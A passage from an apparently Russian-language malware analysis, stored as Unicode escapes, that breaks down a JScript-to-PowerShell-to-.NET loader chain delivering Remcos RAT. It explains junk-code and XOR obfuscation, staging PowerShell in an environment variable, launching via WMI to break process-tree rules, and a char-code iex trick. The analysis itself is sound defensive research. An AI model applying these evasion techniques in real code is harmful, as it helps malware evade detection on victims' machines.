\u043f\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435. \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u0438\u043a\u0430? \u0425\u043e\u0440\u043e\u0448\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0437\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 «\u041f\u043e\u0442\u043e\u043c\u0443». \u042d\u0442\u043e \u0434\u043e\u043b\u044c\u0448\u0435, \u043d\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u0432\u0438\u0434\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441, \u043d\u043e \u0438 \u043a\u0430\u043a\u0438\u0435 \u0435\u0449\u0451 \u0440\u0435\u0436\u0438\u043c\u044b \u0432 \u043d\u0451\u043c \u0437\u0430\u043b\u043e\u0436\u0435\u043d\u044b \u0438 \u0432 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b. \u0422\u0430\u043a\u0438\u0445 \u043d\u0430\u0448\u043b\u043e\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e.\u0417\u0430\u0431\u0435\u0433\u0430\u044f \u0432\u043f\u0435\u0440\u0451\u0434, \u0432\u043e\u0442 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u0438\u043a\u043e\u043c:JS-\u0444\u0430\u0439\u043b (Windows Script Host)     \u2514\u2500 PowerShell, \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f          \u2514\u2500 PowerShell-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a               \u2514\u2500 .NET-\u0441\u0431\u043e\u0440\u043a\u0430, \u043f\u0440\u0438\u043a\u043b\u0435\u0435\u043d\u043d\u0430\u044f \u043a JPEG-\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435                    \u2514\u2500 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u00ab\u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434\u00bb                         \u2514\u2500 Remcos RAT 7.3.1 Pro \u0432\u043d\u0443\u0442\u0440\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e MSBuild.exe\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\u041d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0437\u0430 \u0432\u0441\u0451 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 .js. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0436\u0438\u0432\u0451\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434.\u0421\u043b\u043e\u0439 1. JScript: \u0442\u044b\u0441\u044f\u0447\u0430 \u0441\u0442\u0440\u043e\u043a \u043d\u0438 \u043e \u0447\u0451\u043c\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u0432\u0438\u0434\u0438\u0448\u044c \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u0430, \u2014 1 626 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e. \u0411\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e: \u041d\u0443 \u0442\u0443\u0442 \u0432\u0441\u0451 \u044f\u0441\u043d\u043e. \u0421\u0442\u0435\u043d\u0430 \u043c\u0443\u0441\u043e\u0440\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438.\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443, \u0430 \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0435\u0451 \u043e\u0431\u0440\u0430\u0442\u043d\u043e. \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c x \u043d\u0430 x. \u041e\u043a\u0440\u0443\u0433\u043b\u0438\u0442\u044c \u0443\u0436\u0435 \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e. \u0421\u0440\u0430\u0437\u0443 \u0447\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u043a\u0430 \u043c\u0430\u0441\u0442\u0435\u0440\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0440\u043f\u043b\u0430\u0442\u0430 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0441\u0442\u0440\u043e\u043a \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f.\u0428\u0443\u0442\u043a\u0438, \u0448\u0443\u0442\u043a\u0430\u043c\u0438, \u043d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435\u043c \u043c\u0443\u0441\u043e\u0440 \u043d\u0443\u0436\u0435\u043d \u043d\u0435 \u0434\u043b\u044f \u043a\u0440\u0430\u0441\u043e\u0442\u044b. \u041e\u043d \u0440\u0430\u0437\u043c\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0444\u0430\u0439\u043b\u0430, \u043c\u0435\u0448\u0430\u0435\u0442 \u0433\u043b\u0430\u0437\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0430\u043c \u00ab\u044d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439\u00bb. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0438 \u043b\u043e\u0436\u043d\u044b\u0435 \u0445\u044d\u0448-\u0444\u0443\u043d\u043a\u0446\u0438\u0438: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0441\u0442\u0438\u043b\u0435 FNV \u0438 DJB, \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0430\u043c\u0438, \u0441 \u0442\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432\u2026 \u0438 \u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u042d\u0442\u043e \u0434\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u044f \u00ab\u0437\u0434\u0435\u0441\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u00bb, \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u0431\u0435\u0433\u043b\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434. \u042d\u0442\u043e \u0432\u0441\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0438 \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u043f\u0440\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e \u0434\u0440\u0443\u0433\u043e\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0435\u043b\u0430\u0435\u043c \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 «\u041f\u0430» \u0438 \u043c\u0443\u0441\u043e\u0440\u0430 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c.\u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043b\u043e\u044f \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u0430 \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445, \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u043c XOR \u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u043d\u0438\u0439. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u043c\u0443\u0441\u043e\u0440\u0430 \u043f\u0440\u043e\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440: WScript.Shell, winmgmts:root\\cimv2, Win32_Process, Win32_ProcessStartup \u0438 \u0434\u043b\u0438\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 PowerShell.\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a. \u0422\u0440\u044e\u043a \u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u043e\u0435 \u2014 \u043a\u0430\u043a \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043b\u044c\u0448\u0435. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043f\u0443\u0442\u044c: \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c powershell.exe \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043a\u043e\u0434 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043b\u043e\u0432\u0438\u0442\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043f\u0438\u0448\u0435\u0442 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u043e\u0447\u0442\u0438 \u043b\u044e\u0431\u043e\u0439 EDR. \u0421\u0442\u0440\u043e\u043a\u0430 \u0432\u0438\u0434\u0430 powershell.exe -enc <\u0434\u043b\u0438\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430> \u0434\u0430\u0432\u043d\u043e \u0441\u0442\u0430\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043d\u043e\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u043e\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435. \u0418 \u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u044b \u0431\u044b\u0432\u0430\u044e\u0442 \u0432\u0435\u0441\u044c \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435.\u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u0441\u0435 \u043f\u0440\u043e\u0449\u0435: \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043a\u043e\u0434 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u0442\u0430\u043a\u0430\u044f. \u0421\u043a\u0440\u0438\u043f\u0442 \u0431\u0435\u0440\u0451\u0442 \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 PowerShell \u2014 \u0442\u0443 \u0441\u0430\u043c\u0443\u044e, \u0447\u0442\u043e \u043c\u044b \u0432\u0438\u0434\u0435\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041e\u0434\u043d\u0430-\u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u0447\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 WScript.Shell.Environment, \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u043b\u0435\u0436\u0438\u0442 \u0432 HKCU\\Environment. \u0422\u0430\u043c \u043e\u043d\u043e \u0436\u0438\u0432\u0451\u0442 \u043d\u0435\u0434\u043e\u043b\u0433\u043e: \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0445\u0432\u0430\u0442\u0430\u0435\u0442.\u041f\u043e\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043d\u043e \u043d\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0430 \u0447\u0435\u0440\u0435\u0437 WMI \u2014 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u0447\u0435\u0440\u0435\u0437 Win32_Process.Create \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u0438\u043c\u0451\u043d root\\cimv2. \u041a\u043e\u043c\u0430\u043d\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 Create, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435\u0432\u0438\u043d\u043d\u043e: \u00ab\u0437\u0430\u043f\u0443\u0441\u0442\u0438 cmd, \u0430 \u0442\u043e\u0442 \u043f\u0443\u0441\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 PowerShell \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0442\u043e, \u0447\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0441 \u0442\u0430\u043a\u0438\u043c-\u0442\u043e \u0438\u043c\u0435\u043d\u0435\u043c\u00bb. \u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e.\u0422\u0443\u0442 \u0434\u0432\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0430, \u0438 \u043e\u0431\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u0440\u043e\u0442\u0438\u0432 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432.\u041f\u0435\u0440\u0432\u044b\u0439 \u2014 \u0442\u0435\u043b\u0430 \u043a\u043e\u0434\u0430 \u043d\u0435\u0442 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u0415\u0441\u043b\u0438 EDR \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0432\u0441\u0435\u0433\u0434\u0430 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442), \u043e\u043d \u0443\u0432\u0438\u0434\u0438\u0442 \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443. \u041d\u0435 \u0443\u0432\u0438\u0434\u0438\u0442 \u043d\u0438 \u0442\u0435\u043b\u043e PowerShell, \u043d\u0438 \u0435\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440, \u043d\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0432\u0440\u043e\u0434\u0435 DownloadString \u0438\u043b\u0438 AppDomain.Load. \u0412\u0441\u0451 \u044d\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u043a\u0443\u0434\u0430 EDR, \u043e\u043f\u044f\u0442\u044c-\u0442\u0430\u043a\u0438, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\u0412\u0442\u043e\u0440\u043e\u0439 \u2014 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435 wscript.exe. WMI \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a WmiPrvSE.exe \u2192 cmd.exe \u2192 powershell.exe. \u042d\u0442\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u0440\u0430\u0432\u0438\u043b \u0432\u0438\u0434\u0430 \u00ab\u0441\u043a\u0440\u0438\u043f\u0442 WSH \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 PowerShell\u00bb \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 wscript \u0443\u0436\u0435 \u043d\u0435 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435. \u041e\u043d \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043f\u043e \u0434\u0435\u0440\u0435\u0432\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u043d \u00ab\u043d\u0435 \u043f\u0440\u0438 \u0434\u0435\u043b\u0430\u0445\u00bb. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043b\u043e\u0433 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0432\u0438\u0434\u0438\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 WMI, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u0440\u0430\u0441\u0442\u0451\u0442 cmd.exe \u2014 \u043a\u0430\u0440\u0442\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0441\u043b\u0438 \u0438 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430, \u0442\u043e \u043d\u0435 \u0442\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043a\u0430\u043b\u0438.\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e \u043e\u0431\u0451\u0440\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435. \u0422\u0430\u043c \u0432\u0438\u0434\u043d\u043e \u043d\u0435 iex, \u0430 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0432\u0438\u0434\u0430 ([char[]](105,101,120)-join»). \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u0430 \u2014 \u044d\u0442\u043e \u043a\u043e\u0434\u044b ASCII \u0431\u0443\u043a\u0432 i, e, x, \u2014 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0443. \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0436\u0435 Invoke-Expression, \u043d\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u00abiex\u00bb \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435\u0442. \u041f\u0440\u043e\u0441\u0442\u043e \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0445\u043e\u0442\u0438\u0442\u0441\u044f \u043f\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0441\u043b\u043e\u0432\u0430\u043c. \u041c\u0435\u043b\u043e\u0447\u044c, \u043d\u043e \u043e\u043d\u0430 \u0437\u043d\u0430\u0447\u0438\u043c\u0430\u044f: \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430 \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u0442 \u0442\u0430\u043d\u043a, \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043d\u0438\u043c\u0430\u0435\u0442 